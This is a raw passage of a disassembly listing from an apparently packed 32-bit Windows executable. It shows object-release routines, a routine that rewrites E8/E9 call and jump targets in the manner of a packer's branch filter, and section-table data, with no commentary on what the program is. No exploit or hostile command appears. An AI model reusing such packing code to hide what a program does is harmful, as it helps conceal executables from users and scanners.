[ebp+var_48] mov edi, esp mov eax, [ebp+var_C] movsd mov ecx, [eax] push eax movsd movsd movsd call dword ptr [ecx+94h] mov eax, [ebp+var_4] push eax mov ecx, [eax] call dword ptr [ecx+2Ch] push [ebp+var_18] call [ebp+var_34] call [ebp+var_38] loc_4384B7: ; CODE XREF: sub_4382B8+1B9j ; sub_4382B8+1CAj mov eax, [ebp+var_8] cmp eax, ebx jz short loc_4384C4 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4384C4: ; CODE XREF: sub_4382B8+204j lea ecx, [ebp+var_4] call sub_43852C loc_4384CC: ; CODE XREF: sub_4382B8+176j ; sub_4382B8+182j lea ecx, [ebp+var_C] call sub_43852C lea ecx, [ebp+var_10] call sub_43852C lea ecx, [ebp+var_14] call sub_43852C jmp short loc_438527 ; --------------------------------------------------------------------------- loc_4384E6: ; CODE XREF: sub_4382B8+91j ; sub_4382B8+9Aj ... mov eax, [ebp+var_8] loc_4384E9: ; CODE XREF: sub_4382B8+125j cmp eax, ebx jz short loc_4384F3 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_4384F3: ; CODE XREF: sub_4382B8+233j mov eax, [ebp+var_4] cmp eax, ebx jz short loc_438500 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_438500: ; CODE XREF: sub_4382B8+240j mov eax, [ebp+var_C] cmp eax, ebx jz short loc_43850D mov ecx, [eax] push eax call dword ptr [ecx+8] loc_43850D: ; CODE XREF: sub_4382B8+24Dj mov eax, [ebp+var_10] cmp eax, ebx jz short loc_43851A mov ecx, [eax] push eax call dword ptr [ecx+8] loc_43851A: ; CODE XREF: sub_4382B8+25Aj mov eax, [ebp+var_14] cmp eax, ebx jz short loc_438527 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_438527: ; CODE XREF: sub_4382B8+22Cj ; sub_4382B8+267j pop edi pop esi pop ebx leave retn sub_4382B8 endp ; =============== S U B R O U T I N E ======================================= sub_43852C proc near ; CODE XREF: sub_4382B8+20Fp ; sub_4382B8+217p ... mov eax, [ecx] test eax, eax jz short locret_438538 mov ecx, [eax] push eax call dword ptr [ecx+8] locret_438538: ; CODE XREF: sub_43852C+4j retn sub_43852C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_438539 proc near ; CODE XREF: sub_437960+CAp var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = byte ptr -0Ah var_9 = byte ptr -9 var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 2Ch push ebx push esi push edi push 1 mov esi, [ebp+arg_C] pop ecx mov [ebp+var_2C], ecx mov [ebp+var_28], ecx mov [ebp+var_24], ecx xor eax, eax and [ebp+var_C], al mov [ebp+var_1C], ecx mov [ebp+var_B], cl mov ecx, [ebp+arg_4] add ecx, 0FFFFFFFBh mov [ebp+var_20], eax mov [ebp+var_18], eax mov [ebp+var_14], eax mov [ebp+var_10], eax mov [ebp+var_A], 2 mov [ebp+var_9], 2 mov [ebp+var_8], 3 mov [ebp+var_7], 3 mov [ebp+var_6], 3 mov [ebp+var_5], 3 mov [ebp+var_4], ecx loc_438589: ; CODE XREF: sub_438539+16Fj mov edi, [ebp+arg_0] mov cl, [eax+edi] cmp cl, 0E8h jz short loc_43859F cmp cl, 0E9h jz short loc_43859F inc eax jmp loc_4386A5 ; --------------------------------------------------------------------------- loc_43859F: ; CODE XREF: sub_438539+59j ; sub_438539+5Ej mov edx, [ebp+arg_10] mov ebx, [ebp+arg_8] mov ecx, eax sub ecx, [edx] add ecx, ebx add ebx, eax cmp ecx, 5 mov [edx], ebx jbe short loc_4385B9 and dword ptr [esi], 0 jmp short loc_4385C9 ; --------------------------------------------------------------------------- loc_4385B9: ; CODE XREF: sub_438539+79j test ecx, ecx jbe short loc_4385C9 loc_4385BD: ; CODE XREF: sub_438539+8Ej mov edx, [esi] and edx, 77h shl edx, 1 dec ecx mov [esi], edx jnz short loc_4385BD loc_4385C9: ; CODE XREF: sub_438539+7Ej ; sub_438539+82j mov dl, [eax+edi+4] test dl, dl jz short loc_4385DA cmp dl, 0FFh jnz loc_438691 loc_4385DA: ; CODE XREF: sub_438539+96j mov ecx, [esi] mov [ebp+arg_4], ecx shr [ebp+arg_4], 1 mov ebx, [ebp+arg_4] and ebx, 7 cmp [ebp+ebx*4+var_2C], 0 jz loc_438691 and ecx, 0FFFFFFFEh cmp ecx, 20h jnb loc_438691 xor ecx, ecx mov ch, dl mov cl, [eax+edi+3] movzx edx, byte ptr [eax+edi+2] shl ecx, 8 or ecx, edx movzx edx, byte ptr [eax+edi+1] shl ecx, 8 or edx, ecx loc_43861B: ; CODE XREF: sub_438539+125j sub edx, eax sub edx, [ebp+arg_8] sub edx, 5 cmp dword ptr [esi], 0 mov ebx, edx jz short loc_438663 mov ecx, [ebp+arg_4] push 18h movzx edi, [ebp+ecx+var_C] mov ecx, edi shl ecx, 3 mov edx, ecx pop ecx sub ecx, edx mov edx, ebx shr edx, cl test dl, dl jz short loc_43864B cmp dl, 0FFh jnz short loc_438660 loc_43864B: ; CODE XREF: sub_438539+10Bj push 4 pop ecx sub ecx, edi push 1 shl ecx, 3 pop edx mov edi, [ebp+arg_0] shl edx, cl dec edx xor edx, ebx jmp short loc_43861B ; --------------------------------------------------------------------------- loc_438660: ; CODE XREF: sub_438539+110j mov edi, [ebp+arg_0] loc_438663: ; CODE XREF: sub_438539+EFj mov ecx, ebx add eax, 5 shr ecx, 18h and cl, 1 dec cl not cl mov [eax+edi-1], cl mov ecx, ebx shr ecx, 10h mov [eax+edi-2], cl mov ecx, ebx shr ecx, 8 mov [eax+edi-3], cl mov [eax+edi-4], bl and dword ptr [esi], 0 jmp short loc_4386A5 ; --------------------------------------------------------------------------- loc_438691: ; CODE XREF: sub_438539+9Bj ; sub_438539+B4j ... or dword ptr [esi], 1 mov ecx, [esi] inc eax test dl, dl jz short loc_4386A0 cmp dl, 0FFh jnz short loc_4386A5 loc_4386A0: ; CODE XREF: sub_438539+160j or ecx, 10h mov [esi], ecx loc_4386A5: ; CODE XREF: sub_438539+61j ; sub_438539+156j ... cmp eax, [ebp+var_4] jbe loc_438589 pop edi pop esi pop ebx leave retn sub_438539 endp ; --------------------------------------------------------------------------- align 8 off_4386B8 dd offset dword_422000 ; DATA XREF: start+188w start+19Cr ... dword_4386BC dd 8A4E00h ; DATA XREF: start+15Fw start+165r ... dword_4386C0 dd 14AA2h ; DATA XREF: start+175w start+21Dw ... dd 2 dup(0) dd 37304h, 37234h, 37228h, 2 dup(0) dd 3732Ch, 3725Ch, 5 dup(0) dword_4386FC dd 0ECh, 21000h, 14AA2h, 200h, 22000h, 21000h, 37A39h ; DATA XREF: .ex_cod:off_437024o dd 400000h, 10Fh, 21551h, 0 dd 1, 0Dh dup(0) dd 1, 0 dd 15200h, 5, 1, 200h, 0F800h, 1000h, 15FE7h, 0E0000060h dd 1, 200h, 0A00h, 17000h, 0E4Ch, 0E0000060h, 1, 200h dd 3E00h, 18000h, 70C8h, 0E0000060h, 1, 200h, 600h, 20000h dd 645h, 0E0000060h, 1, 200h, 800h, 21000h, 6D8h, 0E0000060h dd 0 _ex_cod ends ; Section 4. (virtual address 00039000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00000200 ( 512.) ; Offset to raw data for section: 00038800 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata2 segment para public 'DATA' use32 assume cs:_idata2 ;org 439000h align 2000h _idata2 ends end start